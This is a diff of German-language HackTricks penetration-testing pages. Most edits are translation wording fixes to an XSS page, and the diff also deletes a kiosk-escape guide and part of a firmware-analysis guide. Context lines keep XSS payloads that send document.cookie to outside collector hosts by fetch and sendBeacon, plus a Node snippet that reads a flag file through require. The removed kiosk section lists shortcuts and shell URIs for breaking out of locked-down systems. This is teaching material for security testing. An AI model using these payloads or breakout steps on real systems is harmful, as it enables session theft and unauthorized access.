||||
@ -944,7 +946,7 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
|
||||
```
|
||||
### Besondere Ersetzungsmuster
|
||||
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**spezielle Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
|
||||
|
||||
@ -1002,7 +1004,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
// our actual module code
|
||||
})
|
||||
```
|
||||
Daher, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
Daher ist es, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
@ -1268,7 +1270,7 @@ Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen,
|
||||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Sie **werden nicht in der Lage sein, auf die Cookies von JavaScript zuzugreifen**, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn Sie genug Glück haben.
|
||||
|
||||
### Seiteninhalt stehlen
|
||||
@ -1362,7 +1364,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
```
|
||||
_Kurze Zeiten deuten auf einen antwortenden Port hin_ _Längere Zeiten deuten auf keine Antwort hin._
|
||||
|
||||
Überprüfen Sie die Liste der in Chrome gesperrten Ports [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Überprüfen Sie die Liste der in Chrome [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) und in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gesperrten Ports.
|
||||
|
||||
### Box zur Abfrage von Anmeldeinformationen
|
||||
```html
|
||||
@ -1523,7 +1525,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS andere Schwachstellen ausnutzen
|
||||
## XSS Ausnutzung anderer Schwachstellen
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
@ -1545,13 +1547,13 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
|
||||
### XSS in dynamisch erstellten PDFs
|
||||
|
||||
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
|
||||
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
|
||||
Wenn der **PDF-Erstellungsbot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, zu versuchen, **PDF-Daten** zu injizieren:
|
||||
Wenn Sie keine HTML-Tags injizieren können, könnte es sich lohnen, **PDF-Daten** zu **injizieren**:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
|
@ -1,7 +1,5 @@
|
||||
# Debugging Client Side JS
|
||||
|
||||
## Debugging Client Side JS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Das Debuggen von clientseitigem JS kann mühsam sein, da Sie jedes Mal, wenn Sie die URL ändern (einschließlich einer Änderung der verwendeten Parameter oder Parameterwerte), **den Haltepunkt zurücksetzen und die Seite neu laden** müssen.
|
||||
@ -12,7 +10,7 @@ Wenn Sie die Zeile `debugger;` in eine JS-Datei einfügen, wird der **Debugger**
|
||||
|
||||
### Overrides
|
||||
|
||||
Browser-Overrides ermöglichen es, eine lokale Kopie des Codes zu haben, die ausgeführt wird, und diese anstelle der vom Remote-Server auszuführenden zu verwenden.\
|
||||
Browser-Overrides ermöglichen es, eine lokale Kopie des Codes zu haben, die ausgeführt werden soll, und diese anstelle der vom Remote-Server auszuführenden zu verwenden.\
|
||||
Sie können die **Overrides** in "Dev Tools" --> "Sources" --> "Overrides" **zugreifen**.
|
||||
|
||||
Sie müssen **einen lokalen leeren Ordner erstellen, der zum Speichern der Overrides verwendet wird**, also erstellen Sie einfach einen neuen lokalen Ordner und setzen Sie ihn als Override auf dieser Seite.
|
||||
@ -21,7 +19,7 @@ Wählen Sie dann in "Dev Tools" --> "Sources" **die Datei aus**, die Sie übersc
|
||||
|
||||
.png>)
|
||||
|
||||
Dies wird die **JS-Datei lokal kopieren**, und Sie können **diese Kopie im Browser ändern**. Fügen Sie einfach den **`debugger;`** Befehl überall dort hinzu, wo Sie möchten, **speichern** Sie die Änderung und **laden** Sie die Seite neu, und jedes Mal, wenn Sie auf diese Webseite zugreifen, **wird Ihre lokale JS-Kopie geladen** und Ihr Debugger-Befehl an seinem Platz beibehalten:
|
||||
Dies wird die **JS-Datei lokal kopieren** und Sie werden in der Lage sein, **diese Kopie im Browser zu ändern**. Fügen Sie einfach den **`debugger;`** Befehl überall dort hinzu, wo Sie möchten, **speichern** Sie die Änderung und **laden** Sie die Seite neu, und jedes Mal, wenn Sie auf diese Webseite zugreifen, **wird Ihre lokale JS-Kopie geladen** und Ihr Debugger-Befehl an seinem Platz beibehalten:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -1,276 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Überprüfen Sie mögliche Aktionen innerhalb der GUI-Anwendung
|
||||
|
||||
**Gemeinsame Dialoge** sind Optionen wie **eine Datei speichern**, **eine Datei öffnen**, eine Schriftart oder eine Farbe auswählen... Die meisten von ihnen bieten **eine vollständige Explorer-Funktionalität**. Das bedeutet, dass Sie auf Explorer-Funktionen zugreifen können, wenn Sie auf diese Optionen zugreifen können:
|
||||
|
||||
- Schließen/Als schließen
|
||||
- Öffnen/Öffnen mit
|
||||
- Drucken
|
||||
- Exportieren/Importieren
|
||||
- Suchen
|
||||
- Scannen
|
||||
|
||||
Sie sollten überprüfen, ob Sie:
|
||||
|
||||
- Dateien ändern oder neue Dateien erstellen können
|
||||
- Symbolische Links erstellen können
|
||||
- Zugriff auf eingeschränkte Bereiche erhalten können
|
||||
- Andere Apps ausführen können
|
||||
|
||||
## Befehlsausführung
|
||||
|
||||
Vielleicht können Sie **mit einer `Öffnen mit`** Option\*\* eine Art Shell öffnen/ausführen.
|
||||
|
||||
### Windows
|
||||
|
||||
Zum Beispiel _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ finden Sie hier weitere Binärdateien, die verwendet werden können, um Befehle auszuführen (und unerwartete Aktionen durchzuführen): [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ Mehr hier: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
|
||||
## Umgehung von Pfadbeschränkungen
|
||||
|
||||
- **Umgebungsvariablen**: Es gibt viele Umgebungsvariablen, die auf einen bestimmten Pfad zeigen
|
||||
- **Andere Protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
- **Symbolische Links**
|
||||
- **Verknüpfungen**: CTRL+N (neue Sitzung öffnen), CTRL+R (Befehle ausführen), CTRL+SHIFT+ESC (Task-Manager), Windows+E (Explorer öffnen), CTRL-B, CTRL-I (Favoriten), CTRL-H (Verlauf), CTRL-L, CTRL-O (Datei/Öffnen-Dialog), CTRL-P (Drucken-Dialog), CTRL-S (Speichern unter)
|
||||
- Verstecktes Administrationsmenü: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
- **Shell-URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
- **UNC-Pfade**: Pfade zum Verbinden mit freigegebenen Ordnern. Sie sollten versuchen, sich mit dem C$ des lokalen Computers zu verbinden ("\\\127.0.0.1\c$\Windows\System32")
|
||||
- **Weitere UNC-Pfade:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## Laden Sie Ihre Binärdateien herunter
|
||||
|
||||
Konsole: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Registrierungseditor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## Zugriff auf das Dateisystem über den Browser
|
||||
|
||||
| PFAD | PFAD | PFAD | PFAD |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## Verknüpfungen
|
||||
|
||||
- Sticky Keys – Drücken Sie SHIFT 5 Mal
|
||||
- Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
- Hoher Kontrast – SHIFT+ALT+PRINTSCN
|
||||
- Toggle Keys – Halten Sie NUMLOCK 5 Sekunden lang gedrückt
|
||||
- Filter Keys – Halten Sie die rechte SHIFT-Taste 12 Sekunden lang gedrückt
|
||||
- WINDOWS+F1 – Windows-Suche
|
||||
- WINDOWS+D – Desktop anzeigen
|
||||
- WINDOWS+E – Windows Explorer starten
|
||||
- WINDOWS+R – Ausführen
|
||||
- WINDOWS+U – Eingabehilfen-Center
|
||||
- WINDOWS+F – Suchen
|
||||
- SHIFT+F10 – Kontextmenü
|
||||
- CTRL+SHIFT+ESC – Task-Manager
|
||||
- CTRL+ALT+DEL – Startbildschirm in neueren Windows-Versionen
|
||||
- F1 – Hilfe F3 – Suchen
|
||||
- F6 – Adressleiste
|
||||
- F11 – Vollbildmodus in Internet Explorer umschalten
|
||||
- CTRL+H – Internet Explorer Verlauf
|
||||
- CTRL+T – Internet Explorer – Neuer Tab
|
||||
- CTRL+N – Internet Explorer – Neue Seite
|
||||
- CTRL+O – Datei öffnen
|
||||
- CTRL+S – Speichern CTRL+N – Neues RDP / Citrix
|
||||
|
||||
## Wischen
|
||||
|
||||
- Wischen Sie von der linken Seite nach rechts, um alle offenen Fenster zu sehen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu;
|
||||
- Wischen Sie von der rechten Seite nach links, um das Aktionscenter zu öffnen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu;
|
||||
- Wischen Sie von der oberen Kante nach unten, um die Titelleiste für eine im Vollbildmodus geöffnete App sichtbar zu machen;
|
||||
- Wischen Sie von unten nach oben, um die Taskleiste in einer Vollbild-App anzuzeigen.
|
||||
|
||||
## Internet Explorer Tricks
|
||||
|
||||
### 'Bildtoolbar'
|
||||
|
||||
Es ist eine Toolbar, die oben links im Bild erscheint, wenn darauf geklickt wird. Sie können Speichern, Drucken, Mailto, "Meine Bilder" im Explorer öffnen. Der Kiosk muss Internet Explorer verwenden.
|
||||
|
||||
### Shell-Protokoll
|
||||
|
||||
Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten:
|
||||
|
||||
- `shell:Administrative Tools`
|
||||
- `shell:DocumentsLibrary`
|
||||
- `shell:Libraries`
|
||||
- `shell:UserProfiles`
|
||||
- `shell:Personal`
|
||||
- `shell:SearchHomeFolder`
|
||||
- `shell:NetworkPlacesFolder`
|
||||
- `shell:SendTo`
|
||||
- `shell:UserProfiles`
|
||||
- `shell:Common Administrative Tools`
|
||||
- `shell:MyComputerFolder`
|
||||
- `shell:InternetFolder`
|
||||
- `Shell:Profile`
|
||||
- `Shell:ProgramFiles`
|
||||
- `Shell:System`
|
||||
- `Shell:ControlPanelFolder`
|
||||
- `Shell:Windows`
|
||||
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Systemsteuerung
|
||||
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mein Computer
|
||||
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meine Netzwerkstandorte
|
||||
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
## Dateierweiterungen anzeigen
|
||||
|
||||
Überprüfen Sie diese Seite für weitere Informationen: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# Browser-Tricks
|
||||
|
||||
Backup iKat-Versionen:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
|
||||
Erstellen Sie einen gemeinsamen Dialog mit JavaScript und greifen Sie auf den Datei-Explorer zu: `document.write('<input/type=file>')`
|
||||
Quelle: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
|
||||
## Gesten und Tasten
|
||||
|
||||
- Wischen Sie mit vier (oder fünf) Fingern nach oben / Doppeltippen auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln
|
||||
|
||||
- Wischen Sie in eine oder andere Richtung mit vier oder fünf Fingern: Um zur nächsten/vorherigen App zu wechseln
|
||||
|
||||
- Kneifen Sie den Bildschirm mit fünf Fingern / Berühren Sie die Home-Taste / Wischen Sie mit 1 Finger schnell von unten nach oben: Um auf die Startseite zuzugreifen
|
||||
|
||||
- Wischen Sie mit einem Finger von unten auf dem Bildschirm nur 1-2 Zoll (langsam): Das Dock wird angezeigt
|
||||
|
||||
- Wischen Sie mit 1 Finger von oben auf dem Display: Um Ihre Benachrichtigungen anzuzeigen
|
||||
|
||||
- Wischen Sie mit 1 Finger in die obere rechte Ecke des Bildschirms: Um das Kontrollzentrum des iPad Pro zu sehen
|
||||
|
||||
- Wischen Sie mit 1 Finger von der linken Seite des Bildschirms 1-2 Zoll: Um die Heute-Ansicht zu sehen
|
||||
|
||||
- Wischen Sie schnell mit 1 Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln
|
||||
|
||||
- Drücken und halten Sie die Ein-/**Ausschalt**-/Ruhe-Taste in der oberen rechten Ecke des **iPad +** Bewegen Sie den Schieberegler **zum Ausschalten** ganz nach rechts: Um auszuschalten
|
||||
|
||||
- Drücken Sie die Ein-/**Ausschalt**-/Ruhe-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Um einen harten Ausschaltvorgang zu erzwingen
|
||||
|
||||
- Drücken Sie die Ein-/**Ausschalt**-/Ruhe-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der in der unteren linken Ecke des Displays angezeigt wird. Drücken Sie beide Tasten gleichzeitig sehr kurz, da bei längerem Halten ein harter Ausschaltvorgang durchgeführt wird.
|
||||
|
||||
## Verknüpfungen
|
||||
|
||||
Sie sollten eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Nur Verknüpfungen, die beim Entkommen aus der Anwendung helfen könnten, werden hier angezeigt.
|
||||
|
||||
| Taste | Name |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Befehl |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Eingabe |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Steuerung |
|
||||
| ← | Linker Pfeil |
|
||||
| → | Rechter Pfeil |
|
||||
| ↑ | Aufwärtspfeil |
|
||||
| ↓ | Abwärtspfeil |
|
||||
|
||||
### Systemverknüpfungen
|
||||
|
||||
Diese Verknüpfungen sind für die visuellen Einstellungen und Toneinstellungen, abhängig von der Verwendung des iPads.
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Bildschirm dimmen |
|
||||
| F2 | Bildschirm aufhellen |
|
||||
| F7 | Einen Song zurück |
|
||||
| F8 | Abspielen/Pause |
|
||||
| F9 | Song überspringen |
|
||||
| F10 | Stummschalten |
|
||||
| F11 | Lautstärke verringern |
|
||||
| F12 | Lautstärke erhöhen |
|
||||
| ⌘ Space | Eine Liste verfügbarer Sprachen anzeigen; um eine auszuwählen, drücken Sie die Leertaste erneut. |
|
||||
|
||||
### iPad-Navigation
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Gehe zu Home |
|
||||
| ⌘⇧H (Befehl-Shift-H) | Gehe zu Home |
|
||||
| ⌘ (Leertaste) | Spotlight öffnen |
|
||||
| ⌘⇥ (Befehl-Tab) | Liste der letzten zehn verwendeten Apps |
|
||||
| ⌘\~ | Gehe zur letzten App |
|
||||
| ⌘⇧3 (Befehl-Shift-3) | Screenshot (schwebt unten links, um zu speichern oder zu handeln) |
|
||||
| ⌘⇧4 | Screenshot und im Editor öffnen |
|
||||
| Drücken und Halten von ⌘ | Liste der verfügbaren Verknüpfungen für die App |
|
||||
| ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen |
|
||||
| ^⌥H (Steuerung-Option-H) | Home-Taste |
|
||||
| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen |
|
||||
| ^⌥I (Steuerung-Option-i) | Elementauswahl |
|
||||
| Escape | Zurück-Taste |
|
||||
| → (Rechter Pfeil) | Nächstes Element |
|
||||
| ← (Linker Pfeil) | Vorheriges Element |
|
||||
| ↑↓ (Aufwärtspfeil, Abwärtspfeil) | Ausgewähltes Element gleichzeitig antippen |
|
||||
| ⌥ ↓ (Option-Abwärtspfeil) | Nach unten scrollen |
|
||||
| ⌥↑ (Option-Aufwärtspfeil) | Nach oben scrollen |
|
||||
| ⌥← oder ⌥→ (Option-Linker Pfeil oder Option-Rechter Pfeil) | Nach links oder rechts scrollen |
|
||||
| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprachausgabe ein- oder ausschalten |
|
||||
| ⌘⇧⇥ (Befehl-Shift-Tab) | Zur vorherigen App wechseln |
|
||||
| ⌘⇥ (Befehl-Tab) | Zur ursprünglichen App zurückwechseln |
|
||||
| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren |
|
||||
|
||||
### Safari-Verknüpfungen
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Befehl-L) | Standort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Den aktuellen Tab schließen |
|
||||
| ⌘R | Den aktuellen Tab aktualisieren |
|
||||
| ⌘. | Das Laden des aktuellen Tabs stoppen |
|
||||
| ^⇥ | Zum nächsten Tab wechseln |
|
||||
| ^⇧⇥ (Steuerung-Shift-Tab) | Zum vorherigen Tab wechseln |
|
||||
| ⌘L | Das Texteingabefeld/URL-Feld auswählen, um es zu ändern |
|
||||
| ⌘⇧T (Befehl-Shift-T) | Letzten geschlossenen Tab öffnen (kann mehrmals verwendet werden) |
|
||||
| ⌘\[ | Gehe eine Seite in deinem Browserverlauf zurück |
|
||||
| ⌘] | Gehe eine Seite in deinem Browserverlauf vorwärts |
|
||||
| ⌘⇧R | Reader-Modus aktivieren |
|
||||
|
||||
### Mail-Verknüpfungen
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | Standort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Den aktuellen Tab schließen |
|
||||
| ⌘R | Den aktuellen Tab aktualisieren |
|
||||
| ⌘. | Das Laden des aktuellen Tabs stoppen |
|
||||
| ⌘⌥F (Befehl-Option/Alt-F) | In deinem Postfach suchen |
|
||||
|
||||
# Referenzen
|
||||
|
||||
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,240 +0,0 @@
|
||||
# Firmware-Analyse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Einführung**
|
||||
|
||||
Firmware ist essentielle Software, die es Geräten ermöglicht, korrekt zu funktionieren, indem sie die Kommunikation zwischen den Hardwarekomponenten und der Software, mit der die Benutzer interagieren, verwaltet und erleichtert. Sie wird im permanenten Speicher gespeichert, sodass das Gerät von dem Moment an, in dem es eingeschaltet wird, auf wichtige Anweisungen zugreifen kann, was zum Start des Betriebssystems führt. Die Untersuchung und potenzielle Modifikation der Firmware ist ein kritischer Schritt zur Identifizierung von Sicherheitsanfälligkeiten.
|
||||
|
||||
## **Informationsbeschaffung**
|
||||
|
||||
**Informationsbeschaffung** ist ein kritischer erster Schritt, um die Zusammensetzung eines Geräts und die Technologien, die es verwendet, zu verstehen. Dieser Prozess umfasst das Sammeln von Daten über:
|
||||
|
||||
- Die CPU-Architektur und das Betriebssystem, das es ausführt
|
||||
- Bootloader-Spezifikationen
|
||||
- Hardware-Layout und Datenblätter
|
||||
- Codebasis-Metriken und Quellstandorte
|
||||
- Externe Bibliotheken und Lizenztypen
|
||||
- Update-Historien und regulatorische Zertifizierungen
|
||||
- Architektonische und Flussdiagramme
|
||||
- Sicherheitsbewertungen und identifizierte Schwachstellen
|
||||
|
||||
Zu diesem Zweck sind **Open-Source-Intelligence (OSINT)**-Tools von unschätzbarem Wert, ebenso wie die Analyse aller verfügbaren Open-Source-Softwarekomponenten durch manuelle und automatisierte Überprüfungsprozesse. Tools wie [Coverity Scan](https://scan.coverity.com) und [Semmle’s LGTM](https://lgtm.com/#explore) bieten kostenlose statische Analysen, die genutzt werden können, um potenzielle Probleme zu finden.
|
||||
|
||||
## **Erwerb der Firmware**
|
||||
|
||||
Der Erwerb von Firmware kann auf verschiedene Weise erfolgen, jede mit ihrem eigenen Komplexitätsgrad:
|
||||
|
||||
- **Direkt** von der Quelle (Entwickler, Hersteller)
|
||||
- **Bauen** aus bereitgestellten Anweisungen
|
||||
- **Herunterladen** von offiziellen Support-Seiten
|
||||
- Nutzung von **Google-Dork**-Abfragen zur Auffindung gehosteter Firmware-Dateien
|
||||
- Direkter Zugriff auf **Cloud-Speicher** mit Tools wie [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Abfangen von **Updates** über Man-in-the-Middle-Techniken
|
||||
- **Extrahieren** vom Gerät über Verbindungen wie **UART**, **JTAG** oder **PICit**
|
||||
- **Sniffen** von Update-Anfragen innerhalb der Gerätekommunikation
|
||||
- Identifizieren und Verwenden von **hardcodierten Update-Endpunkten**
|
||||
- **Dumpen** vom Bootloader oder Netzwerk
|
||||
- **Entfernen und Lesen** des Speicherchips, wenn alles andere fehlschlägt, unter Verwendung geeigneter Hardware-Tools
|
||||
|
||||
## Analyse der Firmware
|
||||
|
||||
Jetzt, da Sie **die Firmware haben**, müssen Sie Informationen darüber extrahieren, um zu wissen, wie Sie damit umgehen sollen. Verschiedene Tools, die Sie dafür verwenden können:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #print offsets in hex
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
Wenn Sie mit diesen Tools nicht viel finden, überprüfen Sie die **Entropie** des Bildes mit `binwalk -E <bin>`. Wenn die Entropie niedrig ist, ist es wahrscheinlich nicht verschlüsselt. Bei hoher Entropie ist es wahrscheinlich verschlüsselt (oder auf irgendeine Weise komprimiert).
|
||||
|
||||
Darüber hinaus können Sie diese Tools verwenden, um **Dateien, die im Firmware eingebettet sind**, zu extrahieren:
|
||||
|
||||
{{#ref}}
|
||||
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
Oder [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)), um die Datei zu inspizieren.
|
||||
|
||||
### Abrufen des Dateisystems
|
||||
|
||||
Mit den zuvor genannten Tools wie `binwalk -ev <bin>` sollten Sie in der Lage gewesen sein, das **Dateisystem zu extrahieren**.\
|
||||
Binwalk extrahiert es normalerweise in einen **Ordner, der nach dem Dateisystemtyp benannt ist**, der normalerweise einer der folgenden ist: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Manuelle Dateisystemextraktion
|
||||
|
||||
Manchmal hat binwalk **nicht das magische Byte des Dateisystems in seinen Signaturen**. In diesen Fällen verwenden Sie binwalk, um **den Offset des Dateisystems zu finden und das komprimierte Dateisystem** aus der Binärdatei zu extrahieren und das Dateisystem **manuell gemäß seinem Typ** mit den folgenden Schritten zu extrahieren.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
----------------------------------------------------------------------------- ---
|
||||
|
||||
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
Führen Sie den folgenden **dd-Befehl** aus, um das Squashfs-Dateisystem zu extrahieren.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536+0 records in
|
||||
|
||||
8257536+0 records out
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
